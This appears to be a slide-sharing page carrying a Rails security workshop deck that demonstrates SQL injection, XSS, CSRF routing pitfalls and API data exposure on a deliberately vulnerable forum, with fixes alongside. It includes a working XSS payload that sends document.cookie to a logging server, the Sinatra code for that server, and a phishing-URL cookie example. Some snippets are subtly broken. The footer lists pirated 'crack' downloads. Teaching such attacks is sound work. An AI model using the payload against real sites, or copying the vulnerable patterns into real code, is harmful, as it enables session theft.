Web applications hacking
Ruby on Rails example
by Karol Topolski
● Software House located in Krakow
● Ruby on Rails, Android and iOS
● Specialized in building web and mobile applications
● Collaborating with many companies and startups from all over
the world
ABOUT US:
2009 - software house was founded
50 projects created
40 employees
Awards:
OUR HISTORY:
Top Web & Software Developers
in Poland 2015
Top Tens Ruby on Rails
Development Companies
HOMEAHEAD
PROEST
Software for
gastronomy
RoR Workshop - Web applications hacking - Ruby on Rails example
OWASP TOP 10
1. Injection
2. Broken authentication and session management
3. Cross-Site Scripting
4. Insecure direct object reference
5. Security misconfiguration
6. Sensitive data exposure
7. Missing function level access control
8. Cross-Site Request Forgery
9. Using components with known vulnerabilities
10. Unvalidated redirects and forwards
Target Application
Simple Ruby on Rails forum
Ruby 2.3.0
Rails 4.2.6
PostgreSQL 9.4
https://github.com/railwaymen/hacking-forum.git
PostgreSQL Database schema
RoR Workshop - Web applications hacking - Ruby on Rails example
RoR Workshop - Web applications hacking - Ruby on Rails example
RoR Workshop - Web applications hacking - Ruby on Rails example
# app/controllers/forum_threads_controller.rb
class ForumThreadsController < ApplicationController
def show
@thread = ForumThread.find_by title: params[:title]
end
end
# config/routes.rb
resources :forum_threads, param: :title, only: :show do
resources :comments, only: :create
end
SEARCHING THE FORUM THREAD BY TITLE:
RoR Workshop - Web applications hacking - Ruby on Rails example
# app/controllers/forum_threads_controller.rb
class ForumThreadsController < ApplicationController
def show
@thread = ForumThread.find_by “title = #{params[:title]}”
end
end
# config/routes.rb
resources :forum_threads, param: :title, only: :show do
resources :comments, only: :create
end
SEARCHING THE FORUM THREAD BY TITLE:
RoR Workshop - Web applications hacking - Ruby on Rails example
RoR Workshop - Web applications hacking - Ruby on Rails example
Is SQL injection
impossible in Rails?
Unfortunately, no.
It’s possible,
just not dropping tables.
Further reading:
rails-sqli.org
RoR Workshop - Web applications hacking - Ruby on Rails example
# app/controllers/comments_controller.rb
class CommentsController < ApplicationController
def create
@thread = ForumThread.find params[:forum_thread_id]
@comments = @thread.comments.build comment_params
@comments.user = current_user
if @comment.save
redirect_to @thread, notice: ‘Successfully added new comment’
else
redirect_to @thread, alert: “Couldn’t save comment“
end
end
private
def comment_params
params.require(:comment).permit(:content)
end
end
# app/views/forum_threads/show.haml
%p= comment.content
COMMENTS - create and show:
RoR Workshop - Web applications hacking - Ruby on Rails example
# app/controllers/comments_controller.rb
class CommentsController < ApplicationController
def create
@thread = ForumThread.find params[:forum_thread_id]
@comments = @thread.comments.build comment_params
@comments.user = current_user
if @comment.save
redirect_to @thread, notice: ‘Successfully added new comment’
else
redirect_to @thread, alert: “Couldn’t save comment“
end
end
private
def comment_params
params.require(:comment).permit(:content)
end
end
# app/views/forum_threads/show.haml
%p= comment.content.html_safe
COMMENTS - create and show:
RoR Workshop - Web applications hacking - Ruby on Rails example
<!-- XSS test -->
Hi guys!
<script> alert(“I came for your cookies!“) </script>
<!-- Time to get some cookies! -->
What’s up?
<script>
xhttp = new XMLHttpRequest();
xhttp.open(“GET”, “http://localhost:4567/cookies/” + document.cookie);
xhttp.send();
</script>
XSS ATTACK - TEST AND STEALING COOKIES
require ‘sinatra’
require ‘logger’
logger = Logger.new ‘log/cookies.log’
get ‘/cookies/:cookie’ do
logger.info ‘=== COOKIE ===’
logger.info params[:cookie]
logger.info ‘/== COOKIE ===’
end
XSS ATTACK - SIMPLE COOKIES LOGGING SERVER
RoR Workshop - Web applications hacking - Ruby on Rails example
RoR Workshop - Web applications hacking - Ruby on Rails example
Are all cookies HTTPOnly
in Rails?
cookies[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’
// document.cookies=”after_sign_in_path=’http://malicious.site/phishing’”
cookies.signed[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’
// document.cookies=”after_sign_in_path=’http://malicious.site/phishing’”
cookies.signed[:after_sign_in_path] = {
value: ‘http://localhost/after_sign_in_path’,
httponly: true
}
// finally safe
UNFORTUNATELY - NO. ALWAYS USE THIS HASH!
It’s safe from cookies stealing,
but is it safe from XSS?
# app/controllers/comments_controller.rb
class CommentsController < ApplicationController
def create
@thread = ForumThread.find params[:forum_thread_id]
@comments = @thread.comments.build comment_params
@comments.user = current_user
if @comment.save
redirect_to @thread, notice: ‘Successfully added new comment’
else
redirect_to @thread, alert: “Couldn’t save comment“
end
end
private
def comment_params
params.require(:comment).permit(:content)
end
end
# app/views/forum_threads/show.haml
%p= sanitize comment.content.html_safe
COMMENTS - create and show:
Further reading:
molily.de/xss/
RoR Workshop - Web applications hacking - Ruby on Rails example
# app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
# Prevent CSRF attacks by raising an exception.
# For APIs you may want to use :null_session instead.
protect_from_forgery with: :exception
end
DEFAULT CSRF PROTECTION IN RAILS:
RoR Workshop - Web applications hacking - Ruby on Rails example
Is Rails CSRF protection
unbreakable?
HTTP Verbs
● GET
● POST
● PUT
● PATCH
● DELETE
● HEAD
● OPTIONS
● TRACE
● CONNECT
HTTP Verbs NOT protected by Rails CSRF
● GET
● POST
● PUT
● PATCH
● DELETE
● HEAD
● OPTIONS
● TRACE
● CONNECT
CSRF pitfall
in Rails routing
# config/routes.rb
match ‘/forum_threads/:forum_thread_id/comments/:id/update’,
to: ‘comments#update’,
via: :all # Rails 4+
CSRF PITFALL IN RAILS ROUTING - MATCH:
RoR Workshop - Web applications hacking - Ruby on Rails example
RoR Workshop - Web applications hacking - Ruby on Rails example
Is Rails CSRF protection
100% safe?
Yes it is - unless you’re
not staying close to Rails guides
Further reading:
https://rorsecurity.info/portfolio/cross-site-
request-forgery-and-rails
RoR Workshop - Web applications hacking - Ruby on Rails example
Sensitive data exposure
1. Credentials leaking to public repositories.
2. Lack of proper in-app authorization.
3. Debugging information in production enviroments.
4. Access not restricted, wrong access privileges.
5. Lack of encryption.
6. API responses containing sensitive data.
Protecting against sensitive data exposure
1. Code reviews.
2. Careful authorization.
3. Strict access.
4. Encryption.
5. API exposing only necessary information.
Creating the secure API
RoR Workshop - Web applications hacking - Ruby on Rails example
RoR Workshop - Web applications hacking - Ruby on Rails example
# app/controllers/forum_threads_controller.rb
def index
@threads = ForumThread.order(updated_at: :desc)
respond_to do |format|
format.html
format.json { render json: @threads }
end
end
GENERATED RAILS API
[
{
”id”: 2,
”title”: "Curabitur vel vulputate libero.",
”created_at”: "2016-04-18T10:10:40.648Z",
”updated_at”: "2016-04-18T10:10:40.648Z"
},
{
"id": 1,
"title": "Lorem ipsum dolor sit amet.",
"created_at": "2016-04-18T10:10:40.607Z",
"updated_at": "2016-04-18T10:10:40.607Z"
}
]
GENERATED RAILS API - OUTPUT
# app/controllers/forum_threads_controller.rb
def index
@threads = ForumThread.order(updated_at: :desc)
respond_to do |format|
format.html
format.json { render json: @threads.only(:title).to_json }
end
end
GENERATED RAILS API - SECURING THE OUTPUT
[
{
”title”: "Curabitur vel vulputate libero."
},
{
"title": "Lorem ipsum dolor sit amet."
}
]
GENERATED RAILS API - SECURED OUTPUT
RoR Workshop - Web applications hacking - Ruby on Rails example
Solutions for building pretty, secure APIs
Active Model Serializers
● Object Oriented approach
● Ability to define decorating methods
● All Ruby!
● Flexible
● Easy to test
● Adapter to follow JSON API v1.0 schema
● YARD documented
Jbuilder
● Templates approach
● ERblike - might be easy for newcomers
● Flexible
● Hard to test
● No real “adapter” - if you want JSON
API v1.0, you have to do it by yourself
Summary
Things to remember from this workshop:
1. Never trust anything that comes from user. Params, cookies, headers,
everything. Nothing that comes from user is safe to use.
2. Always sanitize your HTML output. Especially when you’re allowing
links or images that comes from user.
3. Be careful with match routing. Just don’t use it if you don’t have to.
4. Inspect your outputs. Return only necessary information from your API.
5. Last but not least. Get someone to review your code.
Thank you for your attention.
Na zjeździe 11
30-527 Krakow, Poland
tel: +48 12 391 60 76
Silicon Valley
Acceleration Center.
180 Sansome Street
San Francisco, CA 94104
tel: 1-415-449-4791
info@railwaymen.org
www.railwaymen.org
@Railwaymen_org
railwaymen.software.development
/company/railwaymen

More Related Content

PPTX
Daemons
PPTX
linux introduction
PPTX
Linux and its history
PDF
Linux kernel architecture
PDF
淺談探索 Linux 系統設計之道
PPT
Linux history & features
PPT
Linux: Basics OF Linux
PPT
Linux booting procedure
Daemons
linux introduction
Linux and its history
Linux kernel architecture
淺談探索 Linux 系統設計之道
Linux history & features
Linux: Basics OF Linux
Linux booting procedure

What's hot (16)

ODP
How to get LBR contents on Intel x86
PPT
Android Radio Layer Interface
PDF
作業系統祕笈(張逸)
PPT
linux device driver
PPTX
pengenalan sistem operasi linux
PDF
ما هو علم البيانات ولماذا يتم استخدامه؟.pdf
PDF
Brief Introduction to Concurrent Programming
PDF
Linux Kernel - Virtual File System
PDF
/proc/irq/&lt;irq>/smp_affinity
PDF
System Performance Analysis
PDF
Gns3 0.5 Tutorial
PPTX
Linux Device Tree
PDF
AlphaGo and AlphaGo Zero
PDF
The Low-Risk Path to Building Autonomous Car Architectures
PDF
The Linux Kernel Scheduler (For Beginners) - SFO17-421
PDF
How to get LBR contents on Intel x86
Android Radio Layer Interface
作業系統祕笈(張逸)
linux device driver
pengenalan sistem operasi linux
ما هو علم البيانات ولماذا يتم استخدامه؟.pdf
Brief Introduction to Concurrent Programming
Linux Kernel - Virtual File System
/proc/irq/&lt;irq>/smp_affinity
System Performance Analysis
Gns3 0.5 Tutorial
Linux Device Tree
AlphaGo and AlphaGo Zero
The Low-Risk Path to Building Autonomous Car Architectures
The Linux Kernel Scheduler (For Beginners) - SFO17-421

Viewers also liked (8)

PDF
Smartwatch - something more than an additional screen for notifications?
PDF
40 Tools in 20 Minutes. Hacking Your Marketing Career
PPSX
CyberLab CCEH Session -13 Hacking Web Applications
PPT
Web Application Hacking
PDF
Learning by hacking - android application hacking tutorial
PPT
Chapter 8 - Main Memory
PPTX
Operation System
PDF
40 Tools in 20 Minutes: Hacking your Marketing Career
Smartwatch - something more than an additional screen for notifications?
40 Tools in 20 Minutes. Hacking Your Marketing Career
CyberLab CCEH Session -13 Hacking Web Applications
Web Application Hacking
Learning by hacking - android application hacking tutorial
Chapter 8 - Main Memory
Operation System
40 Tools in 20 Minutes: Hacking your Marketing Career

Similar to RoR Workshop - Web applications hacking - Ruby on Rails example (20)

PDF
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
PPS
Hacking Client Side Insecurities
PDF
The top 10 security issues in web applications
PPTX
Everybody loves html5,h4ck3rs too
PPTX
Session: A Reference Architecture for Running Modern APIs with NGINX Unit and...
PPTX
FIWARE Primer - Learn FIWARE in 60 Minutes
PPTX
Federico Michele Facca - FIWARE Primer - Learn FIWARE in 60 Minutes
PPTX
2023-May.pptx
PDF
Introduction to Infrastructure as Code & Automation / Introduction to Chef
KEY
Html 5 boot camp
PPTX
Welcome Firefox OS in india with your app - Mumbai Firefox OS hackathon - 201...
PDF
Automated infrastructure is on the menu
PDF
how to use openstack api
PPTX
Construindo APIs Usando Rails
PDF
MesosCon - Be a microservices hero
PDF
HTML for the Mobile Web, Firefox OS
PDF
Open Source Identity Integration with OpenSSO
PDF
Apidaze WebRTC Workshop barcelona 21st april 2013
PPT
Starwest 2008
PDF
OSINT tools for security auditing with python
Workshop KrakYourNet2016 - Web applications hacking Ruby on Rails example
Hacking Client Side Insecurities
The top 10 security issues in web applications
Everybody loves html5,h4ck3rs too
Session: A Reference Architecture for Running Modern APIs with NGINX Unit and...
FIWARE Primer - Learn FIWARE in 60 Minutes
Federico Michele Facca - FIWARE Primer - Learn FIWARE in 60 Minutes
2023-May.pptx
Introduction to Infrastructure as Code & Automation / Introduction to Chef
Html 5 boot camp
Welcome Firefox OS in india with your app - Mumbai Firefox OS hackathon - 201...
Automated infrastructure is on the menu
how to use openstack api
Construindo APIs Usando Rails
MesosCon - Be a microservices hero
HTML for the Mobile Web, Firefox OS
Open Source Identity Integration with OpenSSO
Apidaze WebRTC Workshop barcelona 21st april 2013
Starwest 2008
OSINT tools for security auditing with python

More from Railwaymen (10)

PDF
How to start application development?
PDF
We digitize your business vision
PDF
Speed up rspec tests - part 1
PDF
Railwaymen Booklet 2017
PDF
Railwaymen Presentation 2017
PDF
Will it pass or not? - A few words about automation
PDF
Using assm in service object
PDF
Mobile App Development
PDF
The evil scientist - Railwaymen DevDay vol.1
PDF
Smartwatch - jednak coś więcej niż dodatkowy ekran na notyfikacje?
How to start application development?
We digitize your business vision
Speed up rspec tests - part 1
Railwaymen Booklet 2017
Railwaymen Presentation 2017
Will it pass or not? - A few words about automation
Using assm in service object
Mobile App Development
The evil scientist - Railwaymen DevDay vol.1
Smartwatch - jednak coś więcej niż dodatkowy ekran na notyfikacje?

Recently uploaded (20)

PDF
How Tridens DevSecOps Ensures Compliance, Security, and Agility
PDF
Internet Download Manager IDM Crack powerful download accelerator New Version...
PDF
The Dynamic Duo Transforming Financial Accounting Systems Through Modern Expe...
PDF
Top 10 Software Development Trends to Watch in 2025 🚀.pdf
PPTX
Introduction to Windows Operating System
PDF
Wondershare Recoverit Full Crack New Version (Latest 2025)
PPTX
Download Adobe Photoshop Crack 2025 Free
PPTX
Cybersecurity: Protecting the Digital World
PDF
AI/ML Infra Meetup | LLM Agents and Implementation Challenges
PDF
AI-Powered Threat Modeling: The Future of Cybersecurity by Arun Kumar Elengov...
PPTX
4Seller: The All-in-One Multi-Channel E-Commerce Management Platform for Glob...
DOCX
How to Use SharePoint as an ISO-Compliant Document Management System
PPTX
Python is a high-level, interpreted programming language
PDF
PDF-XChange Editor Plus 10.7.0.398.0 Crack Free Download Latest 2025
PDF
Practical Indispensable Project Management Tips for Delivering Successful Exp...
DOCX
Modern SharePoint Intranet Templates That Boost Employee Engagement in 2025.docx
PPTX
Plex Media Server 1.28.2.6151 With Crac5 2022 Free .
PPTX
CNN LeNet5 Architecture: Neural Networks
PPTX
GSA Content Generator Crack (2025 Latest)
PPTX
Lecture 5 Software Requirement Engineering
How Tridens DevSecOps Ensures Compliance, Security, and Agility
Internet Download Manager IDM Crack powerful download accelerator New Version...
The Dynamic Duo Transforming Financial Accounting Systems Through Modern Expe...
Top 10 Software Development Trends to Watch in 2025 🚀.pdf
Introduction to Windows Operating System
Wondershare Recoverit Full Crack New Version (Latest 2025)
Download Adobe Photoshop Crack 2025 Free
Cybersecurity: Protecting the Digital World
AI/ML Infra Meetup | LLM Agents and Implementation Challenges
AI-Powered Threat Modeling: The Future of Cybersecurity by Arun Kumar Elengov...
4Seller: The All-in-One Multi-Channel E-Commerce Management Platform for Glob...
How to Use SharePoint as an ISO-Compliant Document Management System
Python is a high-level, interpreted programming language
PDF-XChange Editor Plus 10.7.0.398.0 Crack Free Download Latest 2025
Practical Indispensable Project Management Tips for Delivering Successful Exp...
Modern SharePoint Intranet Templates That Boost Employee Engagement in 2025.docx
Plex Media Server 1.28.2.6151 With Crac5 2022 Free .
CNN LeNet5 Architecture: Neural Networks
GSA Content Generator Crack (2025 Latest)
Lecture 5 Software Requirement Engineering

RoR Workshop - Web applications hacking - Ruby on Rails example

  • 1. Web applications hacking Ruby on Rails example by Karol Topolski
  • 2. ● Software House located in Krakow ● Ruby on Rails, Android and iOS ● Specialized in building web and mobile applications ● Collaborating with many companies and startups from all over the world ABOUT US:
  • 3. 2009 - software house was founded 50 projects created 40 employees Awards: OUR HISTORY: Top Web & Software Developers in Poland 2015 Top Tens Ruby on Rails Development Companies
  • 8. OWASP TOP 10 1. Injection 2. Broken authentication and session management 3. Cross-Site Scripting 4. Insecure direct object reference 5. Security misconfiguration 6. Sensitive data exposure 7. Missing function level access control 8. Cross-Site Request Forgery 9. Using components with known vulnerabilities 10. Unvalidated redirects and forwards
  • 10. Simple Ruby on Rails forum Ruby 2.3.0 Rails 4.2.6 PostgreSQL 9.4 https://github.com/railwaymen/hacking-forum.git
  • 15. # app/controllers/forum_threads_controller.rb class ForumThreadsController < ApplicationController def show @thread = ForumThread.find_by title: params[:title] end end # config/routes.rb resources :forum_threads, param: :title, only: :show do resources :comments, only: :create end SEARCHING THE FORUM THREAD BY TITLE:
  • 17. # app/controllers/forum_threads_controller.rb class ForumThreadsController < ApplicationController def show @thread = ForumThread.find_by “title = #{params[:title]}” end end # config/routes.rb resources :forum_threads, param: :title, only: :show do resources :comments, only: :create end SEARCHING THE FORUM THREAD BY TITLE:
  • 24. # app/controllers/comments_controller.rb class CommentsController < ApplicationController def create @thread = ForumThread.find params[:forum_thread_id] @comments = @thread.comments.build comment_params @comments.user = current_user if @comment.save redirect_to @thread, notice: ‘Successfully added new comment’ else redirect_to @thread, alert: “Couldn’t save comment“ end end private def comment_params params.require(:comment).permit(:content) end end # app/views/forum_threads/show.haml %p= comment.content COMMENTS - create and show:
  • 26. # app/controllers/comments_controller.rb class CommentsController < ApplicationController def create @thread = ForumThread.find params[:forum_thread_id] @comments = @thread.comments.build comment_params @comments.user = current_user if @comment.save redirect_to @thread, notice: ‘Successfully added new comment’ else redirect_to @thread, alert: “Couldn’t save comment“ end end private def comment_params params.require(:comment).permit(:content) end end # app/views/forum_threads/show.haml %p= comment.content.html_safe COMMENTS - create and show:
  • 28. <!-- XSS test --> Hi guys! <script> alert(“I came for your cookies!“) </script> <!-- Time to get some cookies! --> What’s up? <script> xhttp = new XMLHttpRequest(); xhttp.open(“GET”, “http://localhost:4567/cookies/” + document.cookie); xhttp.send(); </script> XSS ATTACK - TEST AND STEALING COOKIES
  • 29. require ‘sinatra’ require ‘logger’ logger = Logger.new ‘log/cookies.log’ get ‘/cookies/:cookie’ do logger.info ‘=== COOKIE ===’ logger.info params[:cookie] logger.info ‘/== COOKIE ===’ end XSS ATTACK - SIMPLE COOKIES LOGGING SERVER
  • 32. Are all cookies HTTPOnly in Rails?
  • 33. cookies[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’ // document.cookies=”after_sign_in_path=’http://malicious.site/phishing’” cookies.signed[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’ // document.cookies=”after_sign_in_path=’http://malicious.site/phishing’” cookies.signed[:after_sign_in_path] = { value: ‘http://localhost/after_sign_in_path’, httponly: true } // finally safe UNFORTUNATELY - NO. ALWAYS USE THIS HASH!
  • 34. It’s safe from cookies stealing, but is it safe from XSS?
  • 35. # app/controllers/comments_controller.rb class CommentsController < ApplicationController def create @thread = ForumThread.find params[:forum_thread_id] @comments = @thread.comments.build comment_params @comments.user = current_user if @comment.save redirect_to @thread, notice: ‘Successfully added new comment’ else redirect_to @thread, alert: “Couldn’t save comment“ end end private def comment_params params.require(:comment).permit(:content) end end # app/views/forum_threads/show.haml %p= sanitize comment.content.html_safe COMMENTS - create and show:
  • 38. # app/controllers/application_controller.rb class ApplicationController < ActionController::Base # Prevent CSRF attacks by raising an exception. # For APIs you may want to use :null_session instead. protect_from_forgery with: :exception end DEFAULT CSRF PROTECTION IN RAILS:
  • 40. Is Rails CSRF protection unbreakable?
  • 41. HTTP Verbs ● GET ● POST ● PUT ● PATCH ● DELETE ● HEAD ● OPTIONS ● TRACE ● CONNECT
  • 42. HTTP Verbs NOT protected by Rails CSRF ● GET ● POST ● PUT ● PATCH ● DELETE ● HEAD ● OPTIONS ● TRACE ● CONNECT
  • 44. # config/routes.rb match ‘/forum_threads/:forum_thread_id/comments/:id/update’, to: ‘comments#update’, via: :all # Rails 4+ CSRF PITFALL IN RAILS ROUTING - MATCH:
  • 47. Is Rails CSRF protection 100% safe?
  • 48. Yes it is - unless you’re not staying close to Rails guides
  • 51. Sensitive data exposure 1. Credentials leaking to public repositories. 2. Lack of proper in-app authorization. 3. Debugging information in production enviroments. 4. Access not restricted, wrong access privileges. 5. Lack of encryption. 6. API responses containing sensitive data.
  • 52. Protecting against sensitive data exposure 1. Code reviews. 2. Careful authorization. 3. Strict access. 4. Encryption. 5. API exposing only necessary information.
  • 56. # app/controllers/forum_threads_controller.rb def index @threads = ForumThread.order(updated_at: :desc) respond_to do |format| format.html format.json { render json: @threads } end end GENERATED RAILS API
  • 57. [ { ”id”: 2, ”title”: "Curabitur vel vulputate libero.", ”created_at”: "2016-04-18T10:10:40.648Z", ”updated_at”: "2016-04-18T10:10:40.648Z" }, { "id": 1, "title": "Lorem ipsum dolor sit amet.", "created_at": "2016-04-18T10:10:40.607Z", "updated_at": "2016-04-18T10:10:40.607Z" } ] GENERATED RAILS API - OUTPUT
  • 58. # app/controllers/forum_threads_controller.rb def index @threads = ForumThread.order(updated_at: :desc) respond_to do |format| format.html format.json { render json: @threads.only(:title).to_json } end end GENERATED RAILS API - SECURING THE OUTPUT
  • 59. [ { ”title”: "Curabitur vel vulputate libero." }, { "title": "Lorem ipsum dolor sit amet." } ] GENERATED RAILS API - SECURED OUTPUT
  • 61. Solutions for building pretty, secure APIs Active Model Serializers ● Object Oriented approach ● Ability to define decorating methods ● All Ruby! ● Flexible ● Easy to test ● Adapter to follow JSON API v1.0 schema ● YARD documented Jbuilder ● Templates approach ● ERblike - might be easy for newcomers ● Flexible ● Hard to test ● No real “adapter” - if you want JSON API v1.0, you have to do it by yourself
  • 63. Things to remember from this workshop: 1. Never trust anything that comes from user. Params, cookies, headers, everything. Nothing that comes from user is safe to use. 2. Always sanitize your HTML output. Especially when you’re allowing links or images that comes from user. 3. Be careful with match routing. Just don’t use it if you don’t have to. 4. Inspect your outputs. Return only necessary information from your API. 5. Last but not least. Get someone to review your code.
  • 64. Thank you for your attention.
  • 65. Na zjeździe 11 30-527 Krakow, Poland tel: +48 12 391 60 76 Silicon Valley Acceleration Center. 180 Sansome Street San Francisco, CA 94104 tel: 1-415-449-4791 [email protected] www.railwaymen.org @Railwaymen_org railwaymen.software.development /company/railwaymen